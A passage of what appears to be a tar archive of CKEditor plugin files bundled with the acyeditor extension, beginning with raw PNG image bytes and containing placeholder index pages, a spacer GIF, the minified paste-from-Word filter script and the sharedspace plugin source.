' |Wx>WX$ Nhh*a(DVUcE;fWQtax.׎G+Ji_Eu5-,.N *+ayee|_` ώ9ӦfF<A4c8~n"VdQn_vXW(.-=(SJ@+i}w+$W㓮.]M10
@
(H)kա{ix`Z{;˾Mn,_0q:A p9Nf|*MM9޾=45A0 j۾"Lnnf	Ճ}Y/8l6trv^"g٘yyA>VW'TU]_ZD- WS"{ߜ:uر|f:etJSL>NlnSo0}
b '9`(*7N)_ښWV ju sH}A7; 1ܾ`D0 B^/eSDyp=^Z_h'ZKN8 /p<Lf3 a2=Y-!QMX= B[_lZz6烏pf˩ <YƄP/8 3g e7ę[Xĩ!x!^ '^XeJF>G0hhP5#I[݁/;|Qb鰄5|{Z8/z].Le_0[^>l`lyy8/ZJcJ{lF ?uTf۾@b<@iEUgdy rl{~/^q	T

> }
(P@ABP/Pl )/`)EB|h47ľ+	] JpXFr^RiF6n/?&}A
>8%B'S+˾ ۖ~R+$=iy-,R+"ectA}He{@c5.9-=VsFo [VX6&^>BMM\P/	qy}U55j/H5 k_paL:u0b=Ϗؾ VƵ/H5}U(P@
!ڞa5yIJ YʊoyaRbP}/ŨzO|+|z(9--/޽gΨmhJ2fdf;R իW)pvkX|IMI T y͇!G+H'TX A_elggg@H<Á{i zz5.+ !1ӛ1cYSBPDATMP> 5Ɓe(JCn̙7@KHKKgsHH;<!$b0VUR\8?b=`lwxP^Y%Ye^ $ `Ű=`?!ԍ@;U:X6{{F8L3@|>X(7C9Fy.f9ǧD1cf9x.%2&Xc !J)Xl;bԗ/a:-fs0m m֨Qi &3rr71ynN}nG?!r7Z&NDiU0!jMS&MRxfgee񙙙|]JxFJ^{;klG.05{6Ɨ.KqPJEyL)R|3w.?ʺ6w<?F)RR쁨^JX0rU& }ᇻ~_NasGooou&!?PN,>E(۝Edo%>	!pŋyx^? :a|C&&0 |j@3eʔ>HܹB 1a:>Go<iR)ǲ8wܙ?Q\\TO;}ڃh:,[ny8yk׮2*wWn./?p,`ej333(((SJ3<8ZmjOPJ{ϟ$--$=)bRlt6@
(P-^yB0s嵵+a"|!0`HJWTT0?9g~%s%+˙;.4c	w+͟O_{WT06ϛ߾@qkE
뮻b2 8T7^T^w<|#๢rs,ۥI'wv&.1'=o}F8 4utЦ>0a?0,]
ۥv4 d9.pF8V/D;4YԨPJAZ5_S!od>4vS ~N*g D;qNmn~"ch>}`x@qMHT+:t=*x^_QAZdtO8'E	@)Sב5紷7Ɛ:}mĽ[,9Bvv6:ZUz}7$j>$7!A[ :y:Zf!]"~NѨ1( <%. C,& eema58;w~r|ΡÇeYL&joNEV΄1ȈZ ĵ_<	?"<D)G y 6L\ p_mzz~fÆm.<ǏT[z7jA_~	v* :gh4")!vkӺue^XK5 .65ϨT(թ5\n8iQ!ىh?rW%C{&BߎE]Y	ߵk(-20pS *@6gl38uh^)1ÎnJ6aʓ	5Ѣ'F#KD}BK:
6ۓ}l2,QR\RY,xDА:XR
(P@A". w-."sz=\v;\h\ !:i8#2Wm6lX.J~].ѣI	! q`/}A˲?	!덇'* ˗B3 dcBN!7RXe*x*+Ϝ8WE/@ޞBOP_& V^ +DA֛oEgϛG99Q#|O'Q,]L0!B4hz0	B8lDQI^  ٥O7kjU~Cژ7$&@2Vxd~PUE*ڹsg% <!BT1G;

zN`~~>:0z: !>6%adxl^֚)ݲeI ٘ެ5!'* cR(tt4ffdvcjشk͚gX0Ng6 P1EBhNmV{{d˲8t?xGM;w~8谦eemPd1b#nx49J O@ 2 ah KV֛ z9p8_~	F#)R6ԏ_<l.fÆzz~ lA4de?ܴnv!-- ---CN8H;1lND2q6lݸq5mP:n\] ʨTfoJ$-q\ND	v?4tI{MJ-;Q|cGKfiiҕ+m2  D 1^}3a<yDfDnoO@p7'*	i1(P@
DAvÅOp\ `bA !Pa{7FyA@HQ=)(~W::`pt"aITc/ \.W6CRh4b  l6[Jeddd2AqѽiŚ mRt~\~`{ nw 4`J,㠦XQ
4LF,3)%u$IPkp>M5/P	$J$N,-o)	}N@sT>"jԈ= 	|:񸿚ns_~=LJz0gBFIp)h4+%HU>hիطwo,1nx oII	̈́55	p櫪  _`&$j5($xHLhWMe!3!
z&[gB|^/O3@MI>-ɡU+^!ISaB)le r46d [<OQ@
(P@d`?_ ij1ᕴoZ emy;߱|RYվ=mi&8z_jmY23z|@
xX *mB?*' ӠRn-).ǲ!<`kE;*-?u*iON {1t!ШT(,.^p: ~' p> J~Zmu581 f4-JZJ8N8N|{2?.x?a,AϚe˲"Y@OD_tJBaΝ|7!{Ćی.pׁc]8<KZjvgPpf_(+/=z|zz:t:JhH<DD_J)JG?:3 dOOmeU^fAz<lp:p\e|XW! !
 9ܜaZ,G <Os.#|vhhH4j^FFR|?Nf Gਫ?Jeee`0@%0׋sȑ#rf|vv6c6qYߡ@<<47X.??ߜZχS8}R[_-uFF>{ ږ
a׽3f́	&---|̙& Z(k(,3l+))qN6o,qPJ倫QJxkh++(.J)dL^-)ĊRzh<NxCB)>Խfݺ %-X	CyJ<fL|#4~M~ICΧ^ bEJirzX 
(P@
(P t29kEƈJJKwcg nj
,ZL>}%j 4 `}>x^4ŋyCk.f{m$0@%@Vi@)N@4XexsgDYCڇ4Q{aiP
)b&Z[*n7o^3 ~p xYvgMe%3&'f	f	aAXE&EkZGbR go5&ӋSq@^r7&x<,[oD4(p9cW_nYu/&54gYP҆wz144+W|ӣ$8g y/N+	\<JT7q\.[aҤI[w9.,e,<N'G)=U`)_|)+++fÙ3go۾}~_5BmmYqpի˲<﹞~Z9:.Hdn|~:j<BB^Cim6\v{{{. l"K{[n?+BFi?6#`ECR)Z]ͷ̜ɷ&LǌsCRkHp0ٯwQ1Vi,WVu|Aa!ҥݢ&}ʄ%ck֭I)uSJh!}v63Ϟ9 
C$~SJRژL91;r<9*	()QdҊOn)P@
(P@/P/P//P(|ABP/P
(P@
(/HG#R)D?"4MBH
(P@"<Ԯ\!HFSlvec}=6r(h0A>`D<WZ]Y0>>`;́E ϕTV./g\0и-NǢQgxU?o|oTy޼甈9kE
뮻b2 !!7 
3#x|eyI	s%xx58D7wΚE_{au;;%0ͣoֈ!@G0a` YfK-dAr|P!* įh<FB.-}*iا >ZTdY  8}'NߩUUT?MӧP㺒2CT+:tz^_QAZdtO?/d!b>5紷7Ɛ:}mĽ[,9Bvv6:ZUz}7@azb (י;fY,8n_ך57/wFѸ@);D!	 Ҳpw?`SD!C#˲0L^	n V 6ג ':I,"CT/(<zeׂ5ɚ\?Rm4n_5@wVW [~8햵Ɖ* ;p:!ӣhR
`Ⱥ֖rMPzCITqaD(5ϨT(թ5\n8iQ!ى(`"wtw\UI$kz]=oG.FqG5RTT_8sԩYS	U'_gԩ&U_0MiL@`Dhd)cYF NDS`cوߣDF0ѸD!.L8!".	Xz(P@
d,k  IDATNc{9wߍ..4m4.V4{Xs0 tD^͆%\SG&%D ǁx$vK|²,?d <}xBD@D>bA>x}<}XBBD$A+-{
{=
3'N"A+^!xwҕ==1`GB,_2zj@\!BM(OPJoEgϛG99Q#Br25?ҥ	+Du]<A@ǁ׶ :M"7  .-}
_S1!!Zm($PMiUoilSe2aJܹ3 !T*1r:]3}|gQA^/p:ֶ!] 1JX  [wwfggt
{lYH<}mCvktv6洷7kMnHNG	
@Lh613#N7o^?$EvuYv,f GO BWZm^i2,>p8ޑgݻ8;:iYY YLxA 49J O@dh KV֛ zíspLׯ_vA@muuwȑ)P[Ǐy6KXa}==?k6[r@ihpӺu.Vj49{tk tK-mH°aƍljq	eVF5sW,P'iAb.p 
OkGwKlTj5.nTH~?W;vdv~tA[o<DE ޺";)  Acdgx)7s'*	ܖ$ HnOU (<
(Py    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        editors/acyeditor/acyeditor/ckeditor/plugins/fakeobjects/index.html                                 0000705                 00000000054 15242051521 0021717 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/fakeobjects/images/spacer.gif                          0000705                 00000000053 15242051521 0023132 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       GIF89a          !    ,       D ;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     editors/acyeditor/acyeditor/ckeditor/plugins/fakeobjects/images/index.html                          0000705                 00000000054 15242051521 0023164 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/pastefromword/filter/index.html                        0000705                 00000000054 15242051521 0023620 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/pastefromword/filter/default.js                        0000705                 00000033204 15242051521 0023610 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
(function(){function y(a){for(var a=a.toUpperCase(),c=z.length,b=0,f=0;f<c;++f)for(var d=z[f],e=d[1].length;a.substr(0,e)==d[1];a=a.substr(e))b+=d[0];return b}function A(a){for(var a=a.toUpperCase(),c=B.length,b=1,f=1;0<a.length;f*=c)b+=B.indexOf(a.charAt(a.length-1))*f,a=a.substr(0,a.length-1);return b}var C=CKEDITOR.htmlParser.fragment.prototype,o=CKEDITOR.htmlParser.element.prototype;C.onlyChild=o.onlyChild=function(){var a=this.children;return 1==a.length&&a[0]||null};o.removeAnyChildWithName=
function(a){for(var c=this.children,b=[],f,d=0;d<c.length;d++)f=c[d],f.name&&(f.name==a&&(b.push(f),c.splice(d--,1)),b=b.concat(f.removeAnyChildWithName(a)));return b};o.getAncestor=function(a){for(var c=this.parent;c&&(!c.name||!c.name.match(a));)c=c.parent;return c};C.firstChild=o.firstChild=function(a){for(var c,b=0;b<this.children.length;b++)if(c=this.children[b],a(c)||c.name&&(c=c.firstChild(a)))return c;return null};o.addStyle=function(a,c,b){var f="";if("string"==typeof c)f+=a+":"+c+";";else{if("object"==
typeof a)for(var d in a)a.hasOwnProperty(d)&&(f+=d+":"+a[d]+";");else f+=a;b=c}this.attributes||(this.attributes={});a=this.attributes.style||"";a=(b?[f,a]:[a,f]).join(";");this.attributes.style=a.replace(/^;+|;(?=;)/g,"")};o.getStyle=function(a){var c=this.attributes.style;if(c)return c=CKEDITOR.tools.parseCssText(c,1),c[a]};CKEDITOR.dtd.parentOf=function(a){var c={},b;for(b in this)-1==b.indexOf("$")&&this[b][a]&&(c[b]=1);return c};var H=/^([.\d]*)+(em|ex|px|gd|rem|vw|vh|vm|ch|mm|cm|in|pt|pc|deg|rad|ms|s|hz|khz){1}?/i,
D=/^(?:\b0[^\s]*\s*){1,4}$/,x={ol:{decimal:/\d+/,"lower-roman":/^m{0,4}(cm|cd|d?c{0,3})(xc|xl|l?x{0,3})(ix|iv|v?i{0,3})$/,"upper-roman":/^M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})$/,"lower-alpha":/^[a-z]+$/,"upper-alpha":/^[A-Z]+$/},ul:{disc:/[l\u00B7\u2002]/,circle:/[\u006F\u00D8]/,square:/[\u006E\u25C6]/}},z=[[1E3,"M"],[900,"CM"],[500,"D"],[400,"CD"],[100,"C"],[90,"XC"],[50,"L"],[40,"XL"],[10,"X"],[9,"IX"],[5,"V"],[4,"IV"],[1,"I"]],B="ABCDEFGHIJKLMNOPQRSTUVWXYZ",s=0,t=null,w,E=CKEDITOR.plugins.pastefromword=
{utils:{createListBulletMarker:function(a,c){var b=new CKEDITOR.htmlParser.element("cke:listbullet");b.attributes={"cke:listsymbol":a[0]};b.add(new CKEDITOR.htmlParser.text(c));return b},isListBulletIndicator:function(a){if(/mso-list\s*:\s*Ignore/i.test(a.attributes&&a.attributes.style))return!0},isContainingOnlySpaces:function(a){var c;return(c=a.onlyChild())&&/^(:?\s|&nbsp;)+$/.test(c.value)},resolveList:function(a){var c=a.attributes,b;if((b=a.removeAnyChildWithName("cke:listbullet"))&&b.length&&
(b=b[0]))return a.name="cke:li",c.style&&(c.style=E.filters.stylesFilter([["text-indent"],["line-height"],[/^margin(:?-left)?$/,null,function(a){a=a.split(" ");a=CKEDITOR.tools.convertToPx(a[3]||a[1]||a[0]);!s&&(null!==t&&a>t)&&(s=a-t);t=a;c["cke:indent"]=s&&Math.ceil(a/s)+1||1}],[/^mso-list$/,null,function(a){var a=a.split(" "),b=Number(a[0].match(/\d+/)),a=Number(a[1].match(/\d+/));1==a&&(b!==w&&(c["cke:reset"]=1),w=b);c["cke:indent"]=a}]])(c.style,a)||""),c["cke:indent"]||(t=0,c["cke:indent"]=
1),CKEDITOR.tools.extend(c,b.attributes),!0;w=t=s=null;return!1},getStyleComponents:function(){var a=CKEDITOR.dom.element.createFromHtml('<div style="position:absolute;left:-9999px;top:-9999px;"></div>',CKEDITOR.document);CKEDITOR.document.getBody().append(a);return function(c,b,f){a.setStyle(c,b);for(var c={},b=f.length,d=0;d<b;d++)c[f[d]]=a.getStyle(f[d]);return c}}(),listDtdParents:CKEDITOR.dtd.parentOf("ol")},filters:{flattenList:function(a,c){var c="number"==typeof c?c:1,b=a.attributes,f;switch(b.type){case "a":f=
"lower-alpha";break;case "1":f="decimal"}for(var d=a.children,e,h=0;h<d.length;h++)if(e=d[h],e.name in CKEDITOR.dtd.$listItem){var j=e.attributes,g=e.children,m=g[g.length-1];m.name in CKEDITOR.dtd.$list&&(a.add(m,h+1),--g.length||d.splice(h--,1));e.name="cke:li";b.start&&!h&&(j.value=b.start);E.filters.stylesFilter([["tab-stops",null,function(a){(a=a.split(" ")[1].match(H))&&(t=CKEDITOR.tools.convertToPx(a[0]))}],1==c?["mso-list",null,function(a){a=a.split(" ");a=Number(a[0].match(/\d+/));a!==w&&
(j["cke:reset"]=1);w=a}]:null])(j.style);j["cke:indent"]=c;j["cke:listtype"]=a.name;j["cke:list-style-type"]=f}else if(e.name in CKEDITOR.dtd.$list){arguments.callee.apply(this,[e,c+1]);d=d.slice(0,h).concat(e.children).concat(d.slice(h+1));a.children=[];e=0;for(g=d.length;e<g;e++)a.add(d[e]);d=a.children}delete a.name;b["cke:list"]=1},assembleList:function(a){for(var c=a.children,b,f,d,e,h,j,a=[],g,m,i,l,k,p,n=0;n<c.length;n++)if(b=c[n],"cke:li"==b.name)if(b.name="li",f=b.attributes,i=(i=f["cke:listsymbol"])&&
i.match(/^(?:[(]?)([^\s]+?)([.)]?)$/),l=k=p=null,f["cke:ignored"])c.splice(n--,1);else{f["cke:reset"]&&(j=e=h=null);d=Number(f["cke:indent"]);d!=e&&(m=g=null);if(i){if(m&&x[m][g].test(i[1]))l=m,k=g;else for(var q in x)for(var u in x[q])if(x[q][u].test(i[1]))if("ol"==q&&/alpha|roman/.test(u)){if(g=/roman/.test(u)?y(i[1]):A(i[1]),!p||g<p)p=g,l=q,k=u}else{l=q;k=u;break}!l&&(l=i[2]?"ol":"ul")}else l=f["cke:listtype"]||"ol",k=f["cke:list-style-type"];m=l;g=k||("ol"==l?"decimal":"disc");k&&k!=("ol"==l?
"decimal":"disc")&&b.addStyle("list-style-type",k);if("ol"==l&&i){switch(k){case "decimal":p=Number(i[1]);break;case "lower-roman":case "upper-roman":p=y(i[1]);break;case "lower-alpha":case "upper-alpha":p=A(i[1])}b.attributes.value=p}if(j){if(d>e)a.push(j=new CKEDITOR.htmlParser.element(l)),j.add(b),h.add(j);else{if(d<e){e-=d;for(var r;e--&&(r=j.parent);)j=r.parent}j.add(b)}c.splice(n--,1)}else a.push(j=new CKEDITOR.htmlParser.element(l)),j.add(b),c[n]=j;h=b;e=d}else j&&(j=e=h=null);for(n=0;n<a.length;n++)if(j=
a[n],q=j.children,g=g=void 0,u=j.children.length,r=g=void 0,c=/list-style-type:(.*?)(?:;|$)/,e=CKEDITOR.plugins.pastefromword.filters.stylesFilter,g=j.attributes,!c.exec(g.style)){for(h=0;h<u;h++)if(g=q[h],g.attributes.value&&Number(g.attributes.value)==h+1&&delete g.attributes.value,g=c.exec(g.attributes.style))if(g[1]==r||!r)r=g[1];else{r=null;break}if(r){for(h=0;h<u;h++)g=q[h].attributes,g.style&&(g.style=e([["list-style-type"]])(g.style)||"");j.addStyle("list-style-type",r)}}w=t=s=null},falsyFilter:function(){return!1},
stylesFilter:function(a,c){return function(b,f){var d=[];(b||"").replace(/&quot;/g,'"').replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(b,e,g){e=e.toLowerCase();"font-family"==e&&(g=g.replace(/["']/g,""));for(var m,i,l,k=0;k<a.length;k++)if(a[k]&&(b=a[k][0],m=a[k][1],i=a[k][2],l=a[k][3],e.match(b)&&(!m||g.match(m)))){e=l||e;c&&(i=i||g);"function"==typeof i&&(i=i(g,f,e));i&&i.push&&(e=i[0],i=i[1]);"string"==typeof i&&d.push([e,i]);return}!c&&d.push([e,g])});for(var e=0;e<d.length;e++)d[e]=
d[e].join(":");return d.length?d.join(";")+";":!1}},elementMigrateFilter:function(a,c){return a?function(b){var f=c?(new CKEDITOR.style(a,c))._.definition:a;b.name=f.element;CKEDITOR.tools.extend(b.attributes,CKEDITOR.tools.clone(f.attributes));b.addStyle(CKEDITOR.style.getStyleText(f))}:function(){}},styleMigrateFilter:function(a,c){var b=this.elementMigrateFilter;return a?function(f,d){var e=new CKEDITOR.htmlParser.element(null),h={};h[c]=f;b(a,h)(e);e.children=d.children;d.children=[e];e.filter=
function(){};e.parent=d}:function(){}},bogusAttrFilter:function(a,c){if(-1==c.name.indexOf("cke:"))return!1},applyStyleFilter:null},getRules:function(a,c){var b=CKEDITOR.dtd,f=CKEDITOR.tools.extend({},b.$block,b.$listItem,b.$tableContent),d=a.config,e=this.filters,h=e.falsyFilter,j=e.stylesFilter,g=e.elementMigrateFilter,m=CKEDITOR.tools.bind(this.filters.styleMigrateFilter,this.filters),i=this.utils.createListBulletMarker,l=e.flattenList,k=e.assembleList,p=this.utils.isListBulletIndicator,n=this.utils.isContainingOnlySpaces,
q=this.utils.resolveList,u=function(a){a=CKEDITOR.tools.convertToPx(a);return isNaN(a)?a:a+"px"},r=this.utils.getStyleComponents,t=this.utils.listDtdParents,o=!1!==d.pasteFromWordRemoveFontStyles,s=!1!==d.pasteFromWordRemoveStyles;return{elementNames:[[/meta|link|script/,""]],root:function(a){a.filterChildren(c);k(a)},elements:{"^":function(a){var c;CKEDITOR.env.gecko&&(c=e.applyStyleFilter)&&c(a)},$:function(a){var v=a.name||"",e=a.attributes;v in f&&e.style&&(e.style=j([[/^(:?width|height)$/,null,
u]])(e.style)||"");if(v.match(/h\d/)){a.filterChildren(c);if(q(a))return;g(d["format_"+v])(a)}else if(v in b.$inline)a.filterChildren(c),n(a)&&delete a.name;else if(-1!=v.indexOf(":")&&-1==v.indexOf("cke")){a.filterChildren(c);if("v:imagedata"==v){if(v=a.attributes["o:href"])a.attributes.src=v;a.name="img";return}delete a.name}v in t&&(a.filterChildren(c),k(a))},style:function(a){if(CKEDITOR.env.gecko){var a=(a=a.onlyChild().value.match(/\/\* Style Definitions \*\/([\s\S]*?)\/\*/))&&a[1],c={};a&&
(a.replace(/[\n\r]/g,"").replace(/(.+?)\{(.+?)\}/g,function(a,b,F){for(var b=b.split(","),a=b.length,d=0;d<a;d++)CKEDITOR.tools.trim(b[d]).replace(/^(\w+)(\.[\w-]+)?$/g,function(a,b,d){b=b||"*";d=d.substring(1,d.length);d.match(/MsoNormal/)||(c[b]||(c[b]={}),d?c[b][d]=F:c[b]=F)})}),e.applyStyleFilter=function(a){var b=c["*"]?"*":a.name,d=a.attributes&&a.attributes["class"];b in c&&(b=c[b],"object"==typeof b&&(b=b[d]),b&&a.addStyle(b,!0))})}return!1},p:function(a){if(/MsoListParagraph/i.exec(a.attributes["class"])||
a.getStyle("mso-list")){var b=a.firstChild(function(a){return a.type==CKEDITOR.NODE_TEXT&&!n(a.parent)});(b=b&&b.parent)&&b.addStyle("mso-list","Ignore")}a.filterChildren(c);q(a)||(d.enterMode==CKEDITOR.ENTER_BR?(delete a.name,a.add(new CKEDITOR.htmlParser.element("br"))):g(d["format_"+(d.enterMode==CKEDITOR.ENTER_P?"p":"div")])(a))},div:function(a){var c=a.onlyChild();if(c&&"table"==c.name){var b=a.attributes;c.attributes=CKEDITOR.tools.extend(c.attributes,b);b.style&&c.addStyle(b.style);c=new CKEDITOR.htmlParser.element("div");
c.addStyle("clear","both");a.add(c);delete a.name}},td:function(a){a.getAncestor("thead")&&(a.name="th")},ol:l,ul:l,dl:l,font:function(a){if(p(a.parent))delete a.name;else{a.filterChildren(c);var b=a.attributes,d=b.style,e=a.parent;"font"==e.name?(CKEDITOR.tools.extend(e.attributes,a.attributes),d&&e.addStyle(d),delete a.name):(d=(d||"").split(";"),b.color&&("#000000"!=b.color&&d.push("color:"+b.color),delete b.color),b.face&&(d.push("font-family:"+b.face),delete b.face),b.size&&(d.push("font-size:"+
(3<b.size?"large":3>b.size?"small":"medium")),delete b.size),a.name="span",a.addStyle(d.join(";")))}},span:function(a){if(p(a.parent))return!1;a.filterChildren(c);if(n(a))return delete a.name,null;if(p(a)){var b=a.firstChild(function(a){return a.value||"img"==a.name}),e=(b=b&&(b.value||"l."))&&b.match(/^(?:[(]?)([^\s]+?)([.)]?)$/);if(e)return b=i(e,b),(a=a.getAncestor("span"))&&/ mso-hide:\s*all|display:\s*none /.test(a.attributes.style)&&(b.attributes["cke:ignored"]=1),b}if(e=(b=a.attributes)&&b.style)b.style=
j([["line-height"],[/^font-family$/,null,!o?m(d.font_style,"family"):null],[/^font-size$/,null,!o?m(d.fontSize_style,"size"):null],[/^color$/,null,!o?m(d.colorButton_foreStyle,"color"):null],[/^background-color$/,null,!o?m(d.colorButton_backStyle,"color"):null]])(e,a)||"";b.style||delete b.style;CKEDITOR.tools.isEmpty(b)&&delete a.name;return null},b:g(d.coreStyles_bold),i:g(d.coreStyles_italic),u:g(d.coreStyles_underline),s:g(d.coreStyles_strike),sup:g(d.coreStyles_superscript),sub:g(d.coreStyles_subscript),
a:function(a){a=a.attributes;a.href&&a.href.match(/^file:\/\/\/[\S]+#/i)&&(a.href=a.href.replace(/^file:\/\/\/[^#]+/i,""))},"cke:listbullet":function(a){a.getAncestor(/h\d/)&&!d.pasteFromWordNumberedHeadingToList&&delete a.name}},attributeNames:[[/^onmouse(:?out|over)/,""],[/^onload$/,""],[/(?:v|o):\w+/,""],[/^lang/,""]],attributes:{style:j(s?[[/^list-style-type$/,null],[/^margin$|^margin-(?!bottom|top)/,null,function(a,b,c){if(b.name in{p:1,div:1}){b="ltr"==d.contentsLangDirection?"margin-left":
"margin-right";if("margin"==c)a=r(c,a,[b])[b];else if(c!=b)return null;if(a&&!D.test(a))return[b,a]}return null}],[/^clear$/],[/^border.*|margin.*|vertical-align|float$/,null,function(a,b){if("img"==b.name)return a}],[/^width|height$/,null,function(a,b){if(b.name in{table:1,td:1,th:1,img:1})return a}]]:[[/^mso-/],[/-color$/,null,function(a){if("transparent"==a)return!1;if(CKEDITOR.env.gecko)return a.replace(/-moz-use-text-color/g,"transparent")}],[/^margin$/,D],["text-indent","0cm"],["page-break-before"],
["tab-stops"],["display","none"],o?[/font-?/]:null],s),width:function(a,c){if(c.name in b.$tableContent)return!1},border:function(a,c){if(c.name in b.$tableContent)return!1},"class":h,bgcolor:h,valign:s?h:function(a,b){b.addStyle("vertical-align",a);return!1}},comment:!CKEDITOR.env.ie?function(a,b){var c=a.match(/<img.*?>/),d=a.match(/^\[if !supportLists\]([\s\S]*?)\[endif\]$/);return d?(d=(c=d[1]||c&&"l.")&&c.match(/>(?:[(]?)([^\s]+?)([.)]?)</),i(d,c)):CKEDITOR.env.gecko&&c?(c=CKEDITOR.htmlParser.fragment.fromHtml(c[0]).children[0],
(d=(d=(d=b.previous)&&d.value.match(/<v:imagedata[^>]*o:href=['"](.*?)['"]/))&&d[1])&&(c.attributes.src=d),c):!1}:h}}},G=function(){this.dataFilter=new CKEDITOR.htmlParser.filter};G.prototype={toHtml:function(a){var a=CKEDITOR.htmlParser.fragment.fromHtml(a),c=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(c,this.dataFilter);return c.getHtml(!0)}};CKEDITOR.cleanWord=function(a,c){CKEDITOR.env.gecko&&(a=a.replace(/(<\!--\[if[^<]*?\])--\>([\S\s]*?)<\!--(\[endif\]--\>)/gi,"$1$2$3"));CKEDITOR.env.webkit&&
(a=a.replace(/(class="MsoListParagraph[^>]+><\!--\[if !supportLists\]--\>)([^<]+<span[^<]+<\/span>)(<\!--\[endif\]--\>)/gi,"$1<span>$2</span>$3"));var b=new G,f=b.dataFilter;f.addRules(CKEDITOR.plugins.pastefromword.getRules(c,f));c.fire("beforeCleanWord",{filter:f});try{a=b.toHtml(a)}catch(d){alert(c.lang.pastefromword.error)}a=a.replace(/cke:.*?".*?"/g,"");a=a.replace(/style=""/g,"");return a=a.replace(/<span>/g,"")}})();                                                                                                                                                                                                                                                                                                                                                                                            editors/acyeditor/acyeditor/ckeditor/plugins/pastefromword/index.html                               0000705                 00000000054 15242051521 0022333 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/sharedspace/index.html                                 0000705                 00000000054 15242051521 0021721 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/sharedspace/plugin.js                                  0000705                 00000011143 15242051521 0021561 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @license Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
 * For licensing, see LICENSE.md or http://ckeditor.com/license
 */

( function() {

	'use strict';

	var containerTpl = CKEDITOR.addTemplate( 'sharedcontainer', '<div' +
		' id="cke_{name}"' +
		' class="cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_shared cke_detached cke_{langDir} ' + CKEDITOR.env.cssClass + '"' +
		' dir="{langDir}"' +
		' title="' + ( CKEDITOR.env.gecko ? ' ' : '' ) + '"' +
		' lang="{langCode}"' +
		' role="presentation"' +
		'>' +
			'<div class="cke_inner">' +
				'<div id="{spaceId}" class="cke_{space}" role="presentation">{content}</div>' +
			'</div>' +
		'</div>' );

	CKEDITOR.plugins.add( 'sharedspace', {
		init: function( editor ) {
			// Create toolbars on #loaded (like themed creator), but do that
			// with higher priority to block the default scenario.
			editor.on( 'loaded', function() {
				var spaces = editor.config.sharedSpaces;

				if ( spaces ) {
					for ( var spaceName in spaces )
						create( editor, spaceName, spaces[ spaceName ] );
				}
			}, null, null, 9 );
		}
	} );

	function create( editor, spaceName, target ) {
		var innerHtml, space;

		if ( typeof target == 'string' ) {
			target = CKEDITOR.document.getById( target );
		} else {
			target = new CKEDITOR.dom.element( target );
		}

		if ( target ) {
			// Have other plugins filling the space.
			innerHtml = editor.fire( 'uiSpace', { space: spaceName, html: '' } ).html;

			if ( innerHtml ) {
				// Block the uiSpace handling by others (e.g. themed-ui).
				editor.on( 'uiSpace', function( ev ) {
					if ( ev.data.space == spaceName )
						ev.cancel();
				}, null, null, 1 );  // Hi-priority

				// Inject the space into the target.
				space = target.append( CKEDITOR.dom.element.createFromHtml( containerTpl.output( {
					id: editor.id,
					name: editor.name,
					langDir: editor.lang.dir,
					langCode: editor.langCode,
					space: spaceName,
					spaceId: editor.ui.spaceId( spaceName ),
					content: innerHtml
				} ) ) );

				// Only the first container starts visible. Others get hidden.
				if ( target.getCustomData( 'cke_hasshared' ) )
					space.hide();
				else
					target.setCustomData( 'cke_hasshared', 1 );

				// There's no need for the space to be selectable.
				space.unselectable();

				// Prevent clicking on non-buttons area of the space from blurring editor.
				space.on( 'mousedown', function( evt ) {
					evt = evt.data;
					if ( !evt.getTarget().hasAscendant( 'a', 1 ) )
						evt.preventDefault();
				} );

				// Register this UI space to the focus manager.
				editor.focusManager.add( space, 1 );

				// When the editor gets focus, show the space container, hiding others.
				editor.on( 'focus', function() {
					for ( var i = 0, sibling, children = target.getChildren(); ( sibling = children.getItem( i ) ); i++ ) {
						if ( sibling.type == CKEDITOR.NODE_ELEMENT &&
							!sibling.equals( space ) &&
							sibling.hasClass( 'cke_shared' ) ) {
							sibling.hide();
						}
					}

					space.show();
				} );

				editor.on( 'destroy', function() {
					space.remove();
				} );
			}
		}
	}
} )();

/**
 * Makes it possible to place some of the editor UI blocks, like the toolbar
 * and the elements path, in any element on the page.
 *
 * The elements used to store the UI blocks can be shared among several editor
 * instances. In that case only the blocks relevant to the active editor instance
 * will be displayed.
 *
 * Read more in the [documentation](#!/guide/dev_sharedspace)
 * and see the [SDK sample](http://sdk.ckeditor.com/samples/sharedspace.html).
 *
 *		// Place the toolbar inside the element with an ID of "someElementId" and the
 *		// elements path into the element with an  ID of "anotherId".
 *		config.sharedSpaces = {
 *			top: 'someElementId',
 *			bottom: 'anotherId'
 *		};
 *
 *		// Place the toolbar inside the element with an ID of "someElementId". The
 *		// elements path will remain attached to the editor UI.
 *		config.sharedSpaces = {
 *			top: 'someElementId'
 *		};
 *
 *		// (Since 4.5)
 *		// Place the toolbar inside a DOM element passed by a reference. The
 *		// elements path will remain attached to the editor UI.
 *		var htmlElement = document.getElementById( 'someElementId' );
 *		config.sharedSpaces = {
 *			top: htmlElement
 *		};
 *
